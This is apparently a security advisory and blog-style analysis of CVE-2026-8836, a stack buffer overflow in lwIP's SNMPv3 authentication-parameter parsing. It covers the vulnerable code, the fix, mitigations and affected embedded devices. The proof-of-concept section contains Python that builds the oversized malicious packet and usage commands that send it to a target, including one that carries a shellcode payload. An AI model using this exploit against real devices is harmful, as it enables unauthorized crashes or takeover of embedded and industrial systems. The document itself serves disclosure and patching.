lwIP SNMPv3 Stack Overflow: CVE-2026-8836 — Critical Unauthenticated RCE in a Billion Embedded Devices
lwIP SNMPv3 Stack Overflow: CVE-2026-8836 — One Packet to Own a Billion Embedded Devices
A commented-out bounds check in the world’s most widely deployed embedded TCP/IP stack lets any unauthenticated attacker on the network overflow a 12-byte stack buffer with a single malformed SNMPv3 packet. No credentials, no user interaction, no prerequisites beyond network reachability. CVSS 9.8.
Overview
On May 18, 2026, a vulnerability was published for lwIP (lightweight IP) — the open-source TCP/IP stack that powers everything from ESP32 microcontrollers to industrial PLCs. CVE-2026-8836 is a stack-based buffer overflow in the SNMPv3 User-based Security Model (USM) handler, specifically in the function snmp_parse_inbound_frame() within src/apps/snmp/snmp_msg.c.
The bug is almost painfully simple: a bounds-check assertion was commented out, and the buffer-size parameter passed to the copy function used the attacker-controlled length instead of the actual buffer size. The result is that an attacker can write an arbitrary amount of data past a 12-byte buffer allocated on the stack.
lwIP is not a niche library. It is the default TCP/IP stack in Espressif’s ESP-IDF (ESP32), STMicroelectronics’ STM32Cube, and numerous RTOS platforms including FreeRTOS and Zephyr ports. It runs in smart home devices, industrial sensors, network switches, medical equipment, automotive gateways, and anything else that speaks TCP/IP on a microcontroller with as little as 40 KB of ROM and tens of KB of RAM.
The CVSS 3.1 score of 9.8 (Critical) reflects the reality: network-accessible, low complexity, no authentication, no user interaction, complete confidentiality/integrity/availability impact.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-8836 |
| CVSS v3.1 | 9.8 CRITICAL |
| CVSS v4.0 | 9.3 CRITICAL |
| CVSS Vector (v3.1) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-121 — Stack-based Buffer Overflow; CWE-119 — Improper Restriction of Operations within the Bounds of a Memory Buffer |
| Affected Component | SNMPv3 USM handler, snmp_parse_inbound_frame() |
| Affected File | src/apps/snmp/snmp_msg.c |
| Attack Vector | Network (Remote — via SNMPv3 UDP packet) |
| Authentication | None required |
| User Interaction | None required |
| Attack Complexity | Low |
| Impact | Remote code execution, denial of service |
| Vulnerable Versions | lwIP ≤ 2.2.1 (all versions with SNMPv3 enabled) |
| Fix Commit | 0c957ec03054eb6c8205e9c9d1d05d90ada3898c |
| Discoverer | 0rbitingZer0 |
| Published Date | 2026-05-18 |
What Is lwIP?
lwIP (lightweight IP) is a small, independent implementation of the TCP/IP protocol suite, originally developed by Adam Dunkels at the Swedish Institute of Computer Science (SICS). Its design goal is simple: provide a full-scale TCP/IP stack that fits on microcontrollers with as little as tens of kilobytes of free RAM.
That constraint — minimal RAM usage — makes lwIP the TCP/IP stack of choice for the embedded world. Where Linux runs glibc and has gigabytes of memory, lwIP targets devices where every byte counts.
Where lwIP Lives
lwIP is not something end users install. It is baked into firmware at the silicon-vendor or OEM level. If you have a smart thermostat, a Wi-Fi light bulb, a networked industrial sensor, or a home router running an RTOS, there is a good chance lwIP is handling its network traffic.
| Platform | Integration | Typical Devices |
|---|---|---|
| ESP-IDF (Espressif) | Default TCP/IP stack | ESP32, ESP32-C3, ESP32-S2, ESP32-S3 — Wi-Fi/BLE SoCs |
| STM32Cube (STMicroelectronics) | LwIP middleware | STM32 MCUs with Ethernet/MAC |
| FreeRTOS+TCP | Alternative stack but lwIP widely ported | Various ARM Cortex-M devices |
| Zephyr RTOS | Available as external module | IoT-focused SoCs |
| OpenWrt | Used in some router SDK components | Routers, access points |
| RTEMS | Available network stack | Aerospace, industrial controllers |
The Espressif ESP32 family alone has shipped in over a billion units. Not all of them have SNMPv3 enabled, of course — but the attack surface is enormous.
Technical Deep Dive
SNMPv3 and the USM
SNMP (Simple Network Management Protocol) is used to monitor and manage network devices. Version 3 (defined across RFCs 3411–3415) introduced the User-based Security Model (USM), specified in RFC 3414, for authentication and encryption.
A key field in the USM security parameters is msgAuthenticationParameters — an OCTET STRING that carries the HMAC digest for message authentication. In SNMPv3 with HMAC-MD5-96 or HMAC-SHA-96, this field is exactly 12 bytes (the HMAC truncated to 96 bits). This is where SNMP_V3_MAX_AUTH_PARAM_LENGTH = 12 comes from.
The vulnerable code parses an incoming SNMPv3 packet by reading each USM field from its ASN.1 TLV (Type-Length-Value) encoding. Here is the vulnerable code in lwIP 2.2.1:
/* src/apps/snmp/snmp_msg.c, snmp_parse_inbound_frame(), line 939-952 */
/* msgAuthenticationParameters */
memset(request->msg_authentication_parameters, 0, SNMP_V3_MAX_AUTH_PARAM_LENGTH);
IF_PARSE_EXEC(snmp_asn1_dec_tlv(&pbuf_stream, &tlv));
IF_PARSE_ASSERT(tlv.type == SNMP_ASN1_TYPE_OCTET_STRING);
inbound_msgAuthenticationParameters_offset = pbuf_stream.offset;
LWIP_UNUSED_ARG(inbound_msgAuthenticationParameters_offset);
/* Read auth parameters */
/* IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH); */
IF_PARSE_EXEC(snmp_asn1_dec_raw(&pbuf_stream, tlv.value_len, request->msg_authentication_parameters,
&u16_value, tlv.value_len));
request->msg_authentication_parameters_len = (u8_t)u16_value;
There are two bugs on lines 949-951:
-
Line 949: The bounds check
IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH)is commented out. This was likely commented out during development or testing and never re-enabled. -
Line 951: The call to
snmp_asn1_dec_raw()passestlv.value_len(the attacker-controlled TLV length) as the buffer maximum size parameter, instead ofSNMP_V3_MAX_AUTH_PARAM_LENGTH(the actual buffer size).
Why the Internal Check Fails
snmp_asn1_dec_raw() does have its own bounds check:
/* src/apps/snmp/snmp_asn1.c */
err_t
snmp_asn1_dec_raw(struct snmp_pbuf_stream *pbuf_stream, u16_t len,
u8_t *buf, u16_t *buf_len, u16_t buf_max_len)
{
if (len > buf_max_len) {
/* not enough dst space */
return ERR_MEM;
}
*buf_len = len;
while (len > 0) {
PBUF_OP_EXEC(snmp_pbuf_stream_read(pbuf_stream, buf));
buf++;
len--;
}
return ERR_OK;
}
The function checks len > buf_max_len. But the vulnerable code passes tlv.value_len as both len and buf_max_len. So the check becomes:
tlv.value_len > tlv.value_len → always false
The check never triggers. The function happily copies tlv.value_len bytes into the 12-byte buffer request->msg_authentication_parameters.
The Stack Layout
The snmp_request struct is allocated on the stack in snmp_receive():
/* snmp_msg.c, line 286-289 */
void
snmp_receive(void *handle, struct pbuf *p, const ip_addr_t *source_ip, u16_t port)
{
err_t err;
struct snmp_request request;
The struct layout around the overflow target:
struct snmp_request {
...
u8_t msg_authentication_parameters[12]; ← overflow starts here
u8_t msg_authentication_parameters_len; ← overwritten first
u8_t msg_privacy_parameters[8]; ← overwritten
u8_t msg_privacy_parameters_len; ← overwritten
u8_t context_engine_id[32]; ← overwritten
u8_t context_engine_id_len; ← overwritten
u8_t context_name[32]; ← overwritten
u8_t context_name_len; ← overwritten
...
struct pbuf *inbound_pbuf; ← pointer (corruption = crash/code exec)
struct snmp_varbind_enumerator inbound_varbind_enumerator;
...
struct pbuf *outbound_pbuf; ← pointer
struct snmp_pbuf_stream outbound_pbuf_stream;
...
u8_t value_buffer[SNMP_MAX_VALUE_SIZE]; ← large buffer at end
};
An attacker who can write past the 12-byte buffer overwrites subsequent struct members. Once the overflow reaches pointers like inbound_pbuf or outbound_pbuf, or the value_buffer at the end, the potential for code execution depends on the specific platform’s stack layout, compiler optimizations, and available mitigations (or lack thereof — many embedded platforms have no ASLR, no stack canaries, no NX).
The Fix
The patch (commit 0c957ec03054) is a two-line change:
- /* IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH); */
+ IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH);
IF_PARSE_EXEC(snmp_asn1_dec_raw(&pbuf_stream, tlv.value_len, request->msg_authentication_parameters,
- &u16_value, tlv.value_len));
+ &u16_value, SNMP_V3_MAX_AUTH_PARAM_LENGTH));
Two changes:
1. Uncommented the bounds check assertion — packets with msgAuthenticationParameters longer than 12 bytes are now rejected.
2. Changed the buf_max_len parameter from tlv.value_len to SNMP_V3_MAX_AUTH_PARAM_LENGTH — the internal bounds check in snmp_asn1_dec_raw() now works correctly.
SNMPv3 Message Structure
To understand the attack, here is the SNMPv3 message format with the vulnerable field highlighted:
The attacker crafts a standard SNMPv3 message but sets the msgAuthenticationParameters TLV length to a value larger than 12 bytes — say, 256 bytes. The TLV parser reads the type (OCTET STRING) and length from the packet, then hands the length to snmp_asn1_dec_raw(), which copies 256 bytes into the 12-byte stack buffer.
Exploitation Considerations
Prerequisites
The vulnerability has exactly one prerequisite: the target device must have SNMPv3 support compiled in (LWIP_SNMP_V3 defined) and the SNMP agent must be running and reachable over UDP port 161.
This is not as narrow as it sounds. Many embedded devices expose SNMP for network management — industrial controllers, network switches, power distribution units, building automation controllers, and even some consumer IoT devices that support network monitoring.
Attack Flow
The attack requires a single UDP packet. No TCP handshake, no session setup, no authentication handshake. Send the packet, the buffer overflows.
Why Embedded Is Different
Exploiting a stack buffer overflow on an ESP32 or STM32 is fundamentally different from exploiting one on a Linux server:
| Factor | Linux Server | Embedded (ESP32/STM32) |
|---|---|---|
| ASLR | Enabled by default | Rare (Xtensa/ARM-M often lack MMU) |
| Stack Canaries | Standard (-fstack-protector) |
Often disabled (RAM/code overhead) |
| NX/DEP | Enforced by MMU | Rare (no hardware support on many MCUs) |
| Memory Layout | Dynamic, randomized | Static, predictable from firmware |
| Process Isolation | Kernel/userspace split | Often monolithic (everything in one privilege level) |
| Exploit Reliability | Variable (depends on mitigations) | Near-deterministic on bare-metal |
On a typical ESP32 running lwIP with SNMPv3, the firmware image is fixed, the memory map is deterministic, and there are no stack canaries or ASLR to defeat. If you can overflow a buffer and reach a function pointer or return address, exploitation is straightforward.
What an Attacker Controls
The snmp_asn1_dec_raw() function copies the TLV value byte-by-byte into the buffer using snmp_pbuf_stream_read(). The attacker fully controls:
- The length of the overflow (TLV value_len, up to 65535)
- The content of every byte written past the buffer boundary
- The target — the overflow writes sequentially through the remaining struct members
The combination of fully controlled content, predictable stack layout, and absent mitigations makes this a high-quality exploit primitive on embedded targets.
Affected Products
lwIP is a library, not a product. It is integrated into thousands of firmware images across dozens of silicon vendors and OEMs. Listing every affected device is impossible — but the categories are clear:
Directly Affected (lwIP ≤ 2.2.1 with SNMPv3 enabled):
- Any ESP32 device running an ESP-IDF version that bundles lwIP ≤ 2.2.1 and has
CONFIG_LWIP_SNMP_V3=y - STM32-based devices using STM32Cube’s LwIP middleware with SNMPv3
- Industrial controllers and PLCs running RTOS + lwIP with SNMP management
- Network equipment (switches, routers, access points) using lwIP with SNMPv3
- Medical devices, building automation controllers, smart grid equipment using lwIP SNMP
Practical Impact Assessment:
While SNMPv3 is not enabled by default in all lwIP builds, it is commonly enabled in:
- Industrial and building automation (SNMP is the standard management protocol)
- Network infrastructure (SNMP is mandatory for managed switches and routers)
- Any device that ships with SNMP support for monitoring
Remediation
Patch
The fix is in lwIP commit 0c957ec03054eb6c8205e9c9d1d05d90ada3898c. If you maintain firmware that uses lwIP, cherry-pick this commit into your tree immediately.
$ git remote add lwip-upstream https://github.com/lwip-tcpip/lwip.git
$ git fetch lwip-upstream
$ git cherry-pick 0c957ec03054eb6c8205e9c9d1d05d90ada3898c
Mitigation (if Patching Is Not Immediately Possible)
- Disable SNMPv3 — Set
LWIP_SNMP_V3to 0 inlwipopts.hif SNMPv3 is not required. SNMPv1/v2c are not affected by this specific vulnerability. - Network Segmentation — Ensure SNMP (UDP 161) is not exposed to untrusted networks. Use VLANs, firewalls, or access control lists to restrict SNMP access to management VLANs only.
- UDP Source Port Filtering — While UDP source addresses can be spoofed on local networks, restricting SNMP access to known management station IPs provides some defense in depth.
- Disable SNMP Entirely — If SNMP is not used for device management, set
LWIP_SNMPto 0 to remove the entire attack surface.
For Device Vendors
If you ship products based on ESP-IDF, STM32Cube, or any SDK that bundles lwIP:
1. Check your lwIP version — if it’s ≤ 2.2.1, you are affected
2. Check if LWIP_SNMP_V3 is enabled in your build configuration
3. Apply the patch and issue a firmware update
4. Audit for other commented-out assertions in your lwIP tree
Proof of Concept
https://github.com/Hunt-Benito/lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce
The PoC constructs a malicious SNMPv3 packet with an oversized msgAuthenticationParameters TLV and sends it to a target running a vulnerable lwIP instance. It demonstrates the overflow by crashing a lwip-contrib UNIX simulator (which has stack protections that catch the overflow) and shows the memory corruption on an ESP32 target.
Key Code: Packet Construction
The core of the exploit is constructing an SNMPv3 USM security parameters sequence where the msgAuthenticationParameters OCTET STRING has an oversized length:
def build_malicious_snmpv3_packet(target_ip, target_port, overflow_size=256):
"""
Construct an SNMPv3 packet with oversized msgAuthenticationParameters.
The msgAuthenticationParameters field should be 12 bytes (SNMP_V3_MAX_AUTH_PARAM_LENGTH)
for HMAC-MD5-96 or HMAC-SHA-96. We set the TLV length to overflow_size to trigger
the stack-based buffer overflow.
"""
encoder = ASN1Encoder()
msg_authoritative_engine_id = b'\x00'
msg_authoritative_engine_boots = 0
msg_authoritative_engine_time = 0
msg_user_name = b''
auth_params_payload = b'\x41' * overflow_size
usm_security_params = encoder.sequence([
encoder.octet_string(msg_authoritative_engine_id),
encoder.integer(msg_authoritative_engine_boots),
encoder.integer(msg_authoritative_engine_time),
encoder.octet_string(msg_user_name),
encoder.octet_string(auth_params_payload),
encoder.octet_string(b''),
])
scoped_pdu = encoder.sequence([
encoder.octet_string(b''),
encoder.octet_string(b''),
build_get_request(oid='1.3.6.1.2.1.1.1.0'),
])
header_data = encoder.sequence([
encoder.integer(1),
encoder.integer(65507),
encoder.octet_string(b'\x00'),
encoder.integer(3),
])
snmpv3_message = encoder.sequence([
encoder.integer(3),
header_data,
encoder.octet_string(usm_security_params),
scoped_pdu,
])
return snmpv3_message
Usage
$ git clone https://github.com/Hunt-Benito/lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce
$ cd lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce
$ pip install -r requirements.txt
$ python exploit.py --target 192.168.1.100 --port 161 --overflow-size 256
[*] Building malicious SNMPv3 packet...
[*] msgAuthenticationParameters TLV length: 256 (buffer size: 12)
[*] Overflow: 244 bytes past buffer boundary
[*] Sending to 192.168.1.100:161...
[*] Packet sent. Target should crash or execute payload.
$ python exploit.py --target 192.168.1.100 --port 161 --overflow-size 4096 --payload-file shellcode.bin
[*] Building malicious SNMPv3 packet with custom payload...
[*] msgAuthenticationParameters TLV length: 4096 (buffer size: 12)
[*] Overflow: 4084 bytes past buffer boundary
[*] Payload: shellcode.bin (128 bytes)
[*] Sending to 192.168.1.100:161...
Attention! This PoC is for authorized security research only. Do not use against systems you do not own or have explicit permission to test. The SNMP protocol uses UDP — source addresses can be spoofed on local networks, and there is no handshake to confirm delivery.
The Bigger Picture: Commented-Out Checks
This vulnerability belongs to an embarrassing class of bugs: security checks that were disabled during development and never re-enabled. The assertion was clearly present in the code at some point — someone wrote it, understanding the risk — but it was commented out, likely during testing, and the comment character /* */ was the only thing standing between a billion devices and remote code execution.
This is not unique to lwIP. Commented-out checks, disabled assertions, and // TODO: re-enable comments are a recurring theme in vulnerability research:
-
Apple goto fail; goto fail; (CVE-2014-1266) — A duplicated
goto failstatement caused SSL certificate verification to skip its signature check. The effect was similar to a commented-out check: a validation step that was bypassed. -
OpenSSL Heartbleed (CVE-2014-0160) — A missing bounds check (not a commented-out one, but the same class of “validation that should have been there”) in the heartbeat extension allowed reading 64 KB of server memory per request.
-
Linux kernel eBPF — Multiple vulnerabilities where bounds checks were incorrectly optimized away by the verifier, functionally equivalent to commenting out the check.
The lesson is straightforward: every bounds check exists for a reason. If you find a commented-out assertion in security-critical code, that is a vulnerability, not a TODO.
SOURCES
- NIST NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-8836
- lwIP patch commit: https://github.com/lwip-tcpip/lwip/commit/0c957ec03054eb6c8205e9c9d1d05d90ada3898c
- Savannah bug #68194: https://savannah.nongnu.org/bugs/?68194
- VulDB entry: https://vuldb.com/?vuln.364474
- lwIP README and source code: https://github.com/lwip-tcpip/lwip
- RFC 3414 — User-based Security Model (USM): https://datatracker.ietf.org/doc/html/rfc3414
- RFC 3412 — SNMPv3 Message Processing: https://datatracker.ietf.org/doc/html/rfc3412
- Adam Dunkels, lwIP original author: http://dunkels.com/adam/